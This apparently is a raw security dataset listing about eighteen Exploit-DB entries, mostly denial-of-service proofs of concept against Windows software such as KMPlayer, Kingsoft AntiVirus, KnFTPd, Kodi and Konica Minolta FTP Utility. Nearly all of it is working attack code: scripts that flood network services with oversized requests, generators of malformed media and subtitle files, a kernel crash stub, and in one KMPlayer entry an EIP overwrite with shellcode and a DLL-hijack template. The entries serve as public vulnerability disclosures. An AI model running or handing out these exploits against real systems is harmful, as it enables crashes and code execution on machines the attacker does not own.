deardaniel/secdata-raw huggingface dataset:
Exploit-DB #15998
Description: Kingsoft AntiVirus 2011 SP5.2 'KisKrnl.sys' 2011.1.13.89 - Local Kernel Mode Denial of Service
Type: dos
Platform: windows
Date: 2011-01-16
Author: MJ0011

Exploit:
# Kingsoft AntiVirus 2011 SP5.2 KisKrnl.sys <= 2011.1.13.89 Local Kernel Mode D.O.S Exploit
# Date: 2011-1-16
# Author: MJ0011
# Software Link: http://cd001.www.duba.net/duba/install/2011/once/KAV110114_DOWN_9_13.exe
# Version: KingSoft AntiVirus 2011 SP5.2 with KisKrnl.sys <=2011.1.13.89
# Tested on: Windows XP SP3

DETAILS:
KisKrnl.sys hook the kernel function KiFastCallEntry , but is not correctly handle user stack pointer

EXPLOIT CODE:

__asm
{
mov edx , 0x80000000
mov eax , 0x101        ;id of NtTerminateProcess under Windows XP 
int 0x2e
}
Exploit-DB #19388
Description: Kingview Touchview 6.53 - EIP Overwrite
Type: dos
Platform: windows
Date: 2012-06-25
Author: Carlos Mario Penagos Hollmann

Exploit:
# Exploit Title: Kingview Touchview  EIP direct control
# Date: June 24 2012
# Exploit Author: Carlos Mario Penagos Hollmann
# Vendor Homepage: www.kingview.com

# Version: 6.53
# Tested on: Windows SP 1
# CVE :

Open kingivew click on Make choose network configuration--->network
parameter , then  go to the node type and choose Local is a Login Server,
run the demo port 555 will be open.
NOTE:
This was already patched by the vendor silently.

import os
import socket
import sys

host ="10.0.2.15"
port = 555

exploit = ("\x90"*1024)
exploit += ("A"*23976)
exploit += ("B"*12500)
exploit += ("D"*6250)
exploit += ("E"*6002)
exploit += ("\x44\x43\x42\x41")
exploit += ("\x90"*256)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
s.send(exploit)
data = s.recv(1024)
print "  [+] Closing connection.."
s.close()
print "  [+] Done!"


eax=7ffdf000 ebx=00000000 ecx=40000000 edx=00000008 esi=41424344
edi=0012f6b4
eip=41424344 esp=0012f650 ebp=0012f678 iopl=0         nv up ei pl nz na po
nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000
efl=00010202
41424344 ??
CALL TO STACK
0x41424344
USER32!GetDC+0x6d
USER32!EnumDisplaySettingsA+0x27d
USER32!EnumDisplaySettingsA+0xc9
USER32!DefDlgProcA+0x22
Exploit-DB #24468
Description: KMPlayer - Denial of Service
Type: dos
Platform: windows
Date: 2013-02-10
Author: Jigsaw

Exploit:
Title : KMPlayer (PlayList M3U) Denial Of Service PoC All Versions
Author : Jigsaw (Abdelmorite Eljoaydi)
Date : 26-01-2013
E-mail : jigsaw0658@gmail.com
Home : Morroco	
Facebook page : facebook.com/abdelmorit.alma
platform : software
Impact : Denial Of Service 
Tested on : KMPlayer (http://www.kmpmedia.net/) Version 3.5.00.77 and below
OS : Tested on Windows XP SP1,SP2 and SP3 'Windows 7 is not Vulnerable' other OS maybe Vulnerable           
Risk : Low[+] / Medium[-]

====How to reproduce====
When creating a file with the poc below , you'll have to open the playlist file in kmplayer , a box will pop up just press OK . After that press the play button to trigger the DOS vulnerability . The program will not be able to respond until the process is killed using the task manager .

=========Proof of concept===========
#!/usr/bin/perl
my $j = "\x41" x 90000;
my $h = "\x4D\x33\x55";
my $file = "kmplayer.m3u";
open ($File, ">$file");
print $File $h.$j;
close ($File);
====================================
Exploit-DB #9220
Description: KMplayer 2.9.4.1433 - '.srt' Local Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2009-07-20
Author: b3hz4d

Exploit:
#!usr/bin/perl
######################## In The Name Of Allah ####################
#
#               The KMplayer (.Srt) File Local Bof Poc
#                      
#
#Author : b3hz4d (Seyed Behzad Shaghasemi)
#Site : Www.Pentesters.Ir
#Tested on KMplayer <= 2.9.4.1433
#Special Thanks : Navid, Hossein, Hooshang, Mahmood, Mohammad  and all members in Pentesters.ir
#Greetings : Shahriyar && Alireza  && Soroush and all iranian hackers
#
######################### Www.Pentesters.Ir ######################



$junk="A"x 90000;
open(fhandle,">SubTitle.srt");
print fhandle "1"."\n"."00:00:25,100 --> 00:00:30,900"."\n"."$junk\n"."-pentesters\n";
print fhandle "2"."\n"."00:00:31,100 --> 00:00:35,900"."\n"."www.pentesters.ir\n"."-Pentesters.Ir\n";
print fhandle "3"."\n"."00:00:36,100 --> 00:00:40,900"."\n"."www.pentesters.ir\n"."-Pentesters.Ir\n";
print fhandle "4"."\n"."00:00:41,100 --> 00:00:45,900"."\n"."www.pentesters.ir\n"."-Pentesters.Ir\n";
print fhandle "5"."\n"."00:00:46,100 --> 00:00:50,900"."\n"."www.pentesters.ir\n"."-Pentesters.Ir\n";
print fhandle "6"."\n"."00:00:51,100 --> 00:00:55,900"."\n"."www.pentesters.ir\n"."-Pentesters.Ir\n";
close(fhandle);

# milw0rm.com [2009-07-20]
Exploit-DB #37984
Description: KMPlayer 3.0.0.1440 - '.avi' File Local Denial of Service
Type: dos
Platform: windows
Date: 2012-10-26
Author: Am!r

Exploit:
source: https://www.securityfocus.com/bid/56322/info

KMPlayer is prone to a local denial-of-service vulnerability.

An local attacker can exploit this issue to crash the affected application, denying service to legitimate users.

KMPlayer 3.0.0.1440 is vulnerable; other versions may also be affected. 

#!/usr/bin/perl
#Title : KmPlayer v3.0.0.1440 Local Crash PoC
#Discovered By : Am!r
#Home : http://IrIsT.Ir/forum/
#tested : XP
#TNX : Alireza , C0dex , B3hz4d

my $po="\x46\x02\x00\x00";

open(C, ">:raw", "poc.avi");

print $po;

close(C);
Exploit-DB #22467
Description: KMPlayer 3.3.0.33 - Multiple Vulnerabilities
Type: dos
Platform: windows
Date: 2012-11-04
Author: Mr.XHat

Exploit:
# Exploit Title: The KMPlayer v3.3.0.33 Multiple Vulnerabilities
# Date: October, 26, 2012
# Discovered By: Mr.XHat
# Exploit Author: Mr.XHat
# E-Mail: Mr.XHat {AT} Gmail.com
# Vendor: http://www.kmplayer.com/
# Version: 3.3.0.33
# Tested On: WinXP SP3 EN
#########################

# Buffer Overflow Vulnerability:

junk = "\x41" * 250
eip = "\xD7\x30\x9D\x7C"
shellcode = (
"\x31\xC9\x51\x68\x63\x61\x6C\x63"
"\x54\xB8\xC7\x93\xC2\x77\xFF\xD0"
)
exploit = junk + eip + shellcode
file = open("Exploit.txt", "w")
file.write(exploit)
file.close()

# How To Do Exploit:
# First Run The KMPlayer And Get To Playlist > Playlist Editor... > Add New album Then Past Exploit Code To "Album Name:", Now Your Shellcode Will Executed!
############################################################################################################################################################

# DLL Hijacking Vulnerability:

# DLL Name: PProcDLL.DLL

# How To Do Hijack:
First Compile Below Source Code With C Compiler(s) And Rename Compiled DLL To PProcDLL.DLL Then Copy It To The KMPlayer Installed Path, Now If You Run The KMPlayer DLL Will Hijacked!

#include <windows.h>
BOOL WINAPI DllMain (HANDLE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
    switch (fdwReason)
    {
        case DLL_PROCESS_ATTACH:
        dll_hijack();
        case DLL_THREAD_ATTACH:
        case DLL_THREAD_DETACH:
        case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}
int dll_hijack()
{
    MessageBox(0, "DLL Hijacked!", "Mr.XHat", MB_OK);
}
#

# Enjoys!
Exploit-DB #28650
Description: KMPlayer 3.7.0.109 - '.wav' Crash (PoC)
Type: dos
Platform: windows
Date: 2013-09-30
Author: xboz

Exploit:
# Exploit Title: KMPlayer 3.7.0.109 Integer division by zero DoS.
# Date: 29-9-2013
# Exploit Author: xboz
# Vendor Homepage: http://www.kmpmedia.net/
# Software Link: http://update.kmpmedia.net/player/download/28
# Version: 3.7.0.109
# Tested on: Windows 7,8

header = ("\x52\x49\x46\x46\x64\x31\x10\x00\x57\x41\x56\x45\x66\x6d\x74\x20"
"\x10\x00\x00\x00\x01\x00\x01\x00\x22\x56\x00\x00\x10\xb1\x02\x00"
"\x04\x00\x00\x00\x64\x61\x74\x61\x40\x31\x10\x00\x14\x00\x2a\x00"
"\x1a\x00\x30\x00\x26\x00\x39\x00\x35\x00\x3c\x00\x4a\x00\x3a\x00"
"\x5a\x00\x2f\x00\x67\x00\x0a")
 exploit = header
exploit += "\x41" * 800000
 
try:
    print "[+] Creating POC"
    crash = open('fuzz.wav','w');
    crash.write(exploit);
    crash.close();
except:
    print "[-] No Permissions.."
Exploit-DB #37717
Description: KMPlayer 3.9.x - '.srt' Crash (PoC)
Type: dos
Platform: windows
Date: 2015-07-31
Author: Peyman Motevalli Manesh

Exploit:
#!/usr/bin/perl -w
# Title : KMPlayer 3.9.x - Crash Proof Of Concept
# Company : http://www.kmplayer.com
# Tested : Windows 7 / Windows 8.1
#
#
# Author      :   Peyman Motevalli Manesh
# Linkedin    :   https://ir.linkedin.com/in/peymanmotevalli
# E-Mail      :   me[at]PDPnetwork[dot]ir 
# Website     :   www.PDPnetwork.ir
# FaceBook    :   https://www.facebook.com/Peyman.Motevalli
#
#
# 1 . run perl code : perl km.pl
# 2 . open "kmplayer"
# 3 . Load Subtitle (Peyman.srt)
# 4 . Crashed
$eheader="\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x46\x14";
$h="\x42"x9850;
$poc="\x41"x500000;
$poc="$h$poc$eheader";
open (Peyman, '>Peyman.srt');
for ($i=1;$i<=4;$i++){
print Peyman "$i\n00:00:01,800 --> 00:00:05,500\n";
print Peyman $poc;
}
close (Peyman);
Exploit-DB #43185
Description: KMPlayer 4.2.2.4 - Denial of Service
Type: dos
Platform: windows
Date: 2017-11-22
Author: R.Yavari

Exploit:
#!/usr/bin/perl
# Exploit Title: KMPlayer .nsv Denial of Service
# Date: 2017-11-22
# Exploit Author: R.Yavari
# Version: v4.2.2.4 
# Tested on: Windows 10 , Windows 7
# other version should be affected
# NSV is Streaming video container format developed by Nullsoft; used for streaming video clips over the Internet,
# such as video feeds for Winamp TV; supports multiple types of compression and can include multiple audio tracks, subtitles, and other data.
# CVE-2017-16952
# http://cdn.kmplayer.com/KMP/Download/release/chrome/4.2.2.4/KMPlayer_4.2.2.4.exe
# (D.P)

open(code, ">kmplayer.nsv") || die "can't create crash sample.$!";
binmode(code);
$data = 
"\x52\x49\x46\x46\xc2\x58\x01\x00\x57\x41\x56\x45";
print code $data;
 
close(code);
Exploit-DB #843
Description: KNet Web Server 1.04c - Buffer Overflow (Denial of Service) (PoC)
Type: dos
Platform: windows
Date: 2005-02-25
Author: CorryL

Exploit:
/*
-=[--------------------ADVISORY-------------------]=-
-=[
    ]=-
-=[     Knet <= 1.04c                                                  ]=-
-=[
    ]=-
-=[  Author: CorryL  [corryl80@gmail.com]                ]=-
-=[                                  x0n3-h4ck.org                     ]=-
-=[----------------------------------------------------]=-

-=[+] Application:    Knet
-=[+] Version:        1.04c
-=[+] Vendor's URL:   www.stormystudios.com
-=[+] Platform:       Windows
-=[+] Bug type:       Buffer overflow
-=[+] Exploitation:   Remote
-=[-]
-=[+] Author:         CorryL  ~ CorryL[at]gmail[dot]com ~
-=[+] Reference:      www.x0n3-h4ck.org

..::[ Descriprion ]::..

Knet is an small http server,easy installation and use.

..::[ Bug ]::..

This software is affected a Buffer Overflow.
A malitious attacker sending the request GET AAAAAA..... to 522,
this cause the overwrite of the eip registry,causing the execution of
malicious code.

..::[ Proof Of Concept ]::..

GET AAAAAAAAAAAAAAAAAAAAAAAAAA......... to 522 byte long

..::[ Exploit ]::..
*/
/*
     KNet <= 1.04c is affected to a remote buffer overflow in GET command.
  This PoC demostrate the vulnerability.

     KNet <= 1.04c     PoC Denial Of Service       Coded by: Expanders

     Usage:  ./x0n3-h4ck_Knet-DoS.c <Host> <Port>

*/

#include <stdio.h>
#include <string.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

void help(char *program_name);

int main(int argc, char *argv[]) {

   struct sockaddr_in trg;
   struct hostent *he;
long addr;
   int sockfd, buff,rc;
char evilbuf[1024];
char buffer[1024];
char *request;
if(argc < 3 ) {
 help(argv[0]);
 exit(0);
}
printf("\n\n-=[ KNet <= 1.04c PoC DoS ::: Coded by Expanders ]=-\n");
   he = gethostbyname(argv[1]);
   sockfd = socket(AF_INET, SOCK_STREAM, 0);
request = (char *) malloc(12344);
   trg.sin_family = AF_INET;
   trg.sin_port = htons(atoi(argv[2]));
   trg.sin_addr = *((struct in_addr *) he->h_addr);
   memset(&(trg.sin_zero), '\0', 8);
printf("\n\nConnecting to target \t...");
rc=connect(sockfd, (struct sockaddr *)&trg, sizeof(struct sockaddr_in));
if(rc==0)
{
 printf("[Done]\nBuilding evil buffer\t...");
 memset(evilbuf,90,1023);
 printf("[Done]\nSending evil request   \t...");
 sprintf(request,"GET %s \n\r\n\r",evilbuf);
 send(sockfd,request,strlen(request),0);
 printf("[Done]\n\n[Finished] Check the server now\n");
}
else
 printf("[Fail] -> Unable to connect\n\n");
close(sockfd);
return 0;

}

void help(char *program_name) {

printf("\n\t-=[      KNet <= 1.04b PoC Denial Of Service      ]=-\n");
printf("\t-=[                                                    ]=-\n");
printf("\t-=[      Coded by ders -/www.x0n3-h4ck.org\\-      ]=-\n\n");
printf("Usage: %s <Host> <Port>\n",program_name);
}

// milw0rm.com [2005-02-25]
Exploit-DB #18671
Description: KnFTPd 1.0.0 - 'FEAT' Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2012-03-28
Author: Stefan Schurtz

Exploit:
#!/usr/bin/perl
#################################################################################
# Advisory: KnFTPd 1.0.0 'FEAT' DoS PoC-Exploit
# Author: Stefan Schurtz
# Affected Software: Successfully tested on KnFTPd 1.0.0
# Vendor URL: http://knftp.sourceforge.net/
# Vendor Status: informed
# CVE-ID: -
# PoC-Version: 1.0
#################################################################################
use strict;
use Net::FTP;

my $user = "system";
my $[CREDENTIAL_REDACTED]";

########################
# connect
########################
my $target = $ARGV[0];
my $plength = $ARGV[1];

print "\n";
print "\t#######################################################\n";
print "\t# This PoC-Exploit is only for educational purpose!!! #\n";
print "\t#######################################################\n";
print "\n";

if (!$ARGV[0]||!$ARGV[1]) {
	print "[+] Usage: $@ <target> <payload length>\n";
	exit 1;
}

my $ftp=Net::FTP->new($target,Timeout=>12) or die "Cannot connect to $target: $@";
print "[+] Connected to $target\n";

########################
# login
########################
$ftp->login($user,$password) or die "Cannot login ", $ftp->message;
print "[+] Logged in with user $user\n";

###################################################
# Building payload './A' with min. length of 94
##################################################
my @p = ( "","./A" );
my $payload;

print "[+] Building payload\n";

for (my $i=1;$i<=$plength;$i++) {
	 $payload .= $p[$i];
	 push(@p,$p[$i]);
}
sleep(3);

#########################################
# Sending payload
#########################################
print "[+] Sending payload [$payload]\n";
$ftp->quot('FEAT ' ."$payload");

##########################################
# disconnect
##########################################
print "[+] Done\n";
$ftp->quit;
exit 0;
#EOF
Exploit-DB #40208
Description: Kodi Web Server 16.1 - Denial of Service
Type: dos
Platform: windows
Date: 2016-08-05
Author: Guillaume Kaddouch

Exploit:
# Exploit Title: Kodi 16.1 Web Server Remote DoS
# Date: 06/08/2016
# Exploit Author: Guillaume Kaddouch
#   Twitter: @gkweb76
#   Blog: https://networkfilter.blogspot.com
#   GitHub: https://github.com/gkweb76/exploits
# Vendor Homepage: https://kodi.tv/
# Software Link: http://mirrors.kodi.tv/releases/win32/kodi-16.1-Jarvis.exe
# Version: 16.1
# Tested on: Windows 7 Family x64 (FR)
# Category: DoS

"""
Disclosure Timeline:
--------------------
2016-08-02: Vulnerability discovered
2016-08-04: Vendor contacted
2016-08-04: Developper answered. Kodi v16 is End Of Life and will not be fixed. 
2016-08-06: Exploit published.

 
Description :
-------------
A remote Denial Of Service exists in Kodi 16.1 (Jarvis) embedded web server when sending a specially crafted GET request.
The web server is disabled by default.
 

Instructions:
-------------
- Starts Kodi, and enable the web server in System, Services, Web server.
- Run this exploit locally or from your remote attacking machine. 
"""

import socket

host = "192.168.135.129"
port = 8080

junk    = '../' * 10
buffer  = "GET " + junk + " HTTP/1.1\r\n"
buffer += "\r\n\r\n"

try:
        print "[*] Connecting to %s:%d" % (host, port)
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((host, port))

        print "[*] Sending buffer... (%d bytes)" % len(buffer)
        s.send(buffer)
        s.close()

        print "[*] Done."
except:
        print "[-] Error connecting"
Exploit-DB #9467
Description: KOL Player 1.0 - '.mp3' Local Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2009-08-18
Author: Evil.Man

Exploit:
#!/usr/bin/perl
# KOL Player 1.0 (.mp3) Local Buffer Overflow PoC
# http://thaddy.co.uk/kolacmwaveplayer.zip
########################################################################################
# 0012F920  |00168370  ASCII "AAAA"
# 0012F924  |41410004
# 0012F928  |41414141
# 0012F92C  |41414141
# 0012F930  |41414141
# 0012F934  |41414141
# 0012F938  |41414141
# 0012F93C  |41414141
# 0012F940  |41414141
# 0012F944  |41414141
# 0012F948  |41414141
########################################################################################
my $crash="http://"."\x41" x 3200;
open(myfile,'>>evil.mp3');
print myfile $crash;
######################################################################################## 

# milw0rm.com [2009-08-18]
Exploit-DB #11266
Description: KOL Wave Player 1.0 - '.wav' Local Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2010-01-26
Author: cr4wl3r

Exploit:
#!/usr/bin/perl
#########################################################
## Usage-->>file created-->>load file-->>b00m.wav >>>BOOM
#########################################################


print "#####################################################\n";
print "[!] KOL Wave Player 1.0 (.wav) Local Buffer Overflow PoC\n";
print "\n";
print "[!] Author: cr4wl3r\n";
print "[!] Mail: cr4wl3r[!]linuxmail.org\n";
print "#####################################################\n";


my $boom = "http://"."\x41" x 1337;
my $filename = "b00m.wav";
open (FILE,">$filename");
print FILE "$boom";
print "\nFile successfully created!\n";
Exploit-DB #11265
Description: KOL WaveIOX 1.04 - '.wav' Local Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2010-01-26
Author: cr4wl3r

Exploit:
#!/usr/bin/perl
#########################################################
## Usage-->>file created-->>load file-->>b00m.wav >>>BOOM
#########################################################


print "#####################################################\n";
print "[!] KOL WaveIOX 1.04 (.wav) Local Buffer Overflow PoC\n";
print "\n";
print "[!] Author: cr4wl3r\n";
print "[!] Mail: cr4wl3r[!]linuxmail.org\n";
print "#####################################################\n";


my $boom = "http://"."\x41" x 1337;
my $filename = "b00m.wav";
open (FILE,">$filename");
print FILE "$boom";
print "\nFile successfully created!\n";
Exploit-DB #9621
Description: Kolibri+ Web Server 2 - GET Denial of Service
Type: dos
Platform: windows
Date: 2009-09-10
Author: Usman Saeed

Exploit:
#############################################################################################
#
#   Name    :   Kolibri+ Webserver 2 , Denial Of service / Crash
#   Author  :   Usman Saeed
#   Company :   Xc0re Security Reasearch Group
#   Date    :   06/09/09
#   Homepage :  http://www.xc0re.net
#
#############################################################################################


[*] Download Page :
http://download.cnet.com/Kolibri-WebServer/3000-10248_4-10896378.html?tag=mncol


[*] Attack type : Remote


[*] Patch Status : Unpatched



[*] Exploitation :



[+] [Denial Of Service / CRASH]

("A" x 200; #Late crash)

Exploit:
http://127.0.0.1/default.aspAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

# milw0rm.com [2009-09-10]
Exploit-DB #48501
Description: Konica Minolta FTP Utility 1.0 - 'LIST' Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2020-05-22
Author: Socket_0x03

Exploit:
# Exploit Title: Konica Minolta FTP Utility 1.0 - 'LIST' Denial of Service (PoC) 
# Date: 2020-05-16
# Found by: Alvaro J. Gene (Socket_0x03)
# Software Link: https://konica-minolta-ftp-utility.software.informer.com/download/
# Vulnerable Application: Konica Minolta FTP Utility
# Version: 1.0
# Server: FTP Server
# Vulnerable Command: LIST
# Tested on: Windows 7 SP1

# Impact: There is a buffer overflow vulnerability in the LIST command of the FTP server
# "Konica Minolta FTP Utility" that will allow an attacker to overwrite some registers, 
# such as EAX, ESI, EDI... Even though the next codes will crash the FTP server and overwrite 
# some registers, an individual can use the vulnerable command to build a remote buffer 
# overflow exploit that will root a system without any user interaction. 

====================================================================================================
=============== [ Konica Minolta FTP Utility v1.0 - 'LIST' Denial of Service (PoC) ] ===============
====================================================================================================


from ftplib import FTP

ftp = FTP('192.168.0.16')

buffer = "A" * 1500

ftp.login()

ftp.retrlines('LIST ' + buffer)
Exploit-DB #48502
Description: Konica Minolta FTP Utility 1.0 - 'NLST' Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2020-05-22
Author: Socket_0x03

Exploit:
# Exploit Title: Konica Minolta FTP Utility 1.0 - 'NLST' Denial of Service (PoC) 
# Date: 2020-05-16
# Found by: Alvaro J. Gene (Socket_0x03)
# Software Link: https://konica-minolta-ftp-utility.software.informer.com/download/
# Vulnerable Application: Konica Minolta FTP Utility
# Version: 1.0
# Server: FTP Server
# Vulnerable Command: NLST
# Tested on: Windows 7 SP1

# Impact: There is a buffer overflow vulnerability in the NLST command of the FTP server
# "Konica Minolta FTP Utility" that will allow an attacker to overwrite some registers, 
# such as EAX, ESI, EDI... Even though the next codes will crash the FTP server and overwrite 
# some registers, an individual can use the vulnerable command to build a remote buffer 
# overflow exploit that will root a system without any user interaction. 

====================================================================================================
=============== [ Konica Minolta FTP Utility v1.0 - 'NLST' Denial of Service (PoC) ] ===============
====================================================================================================


from ftplib import FTP

ftp = FTP('192.168.0.16')

buffer = "A" * 1500

ftp.login()

ftp.retrlines('NLST ' + buffer)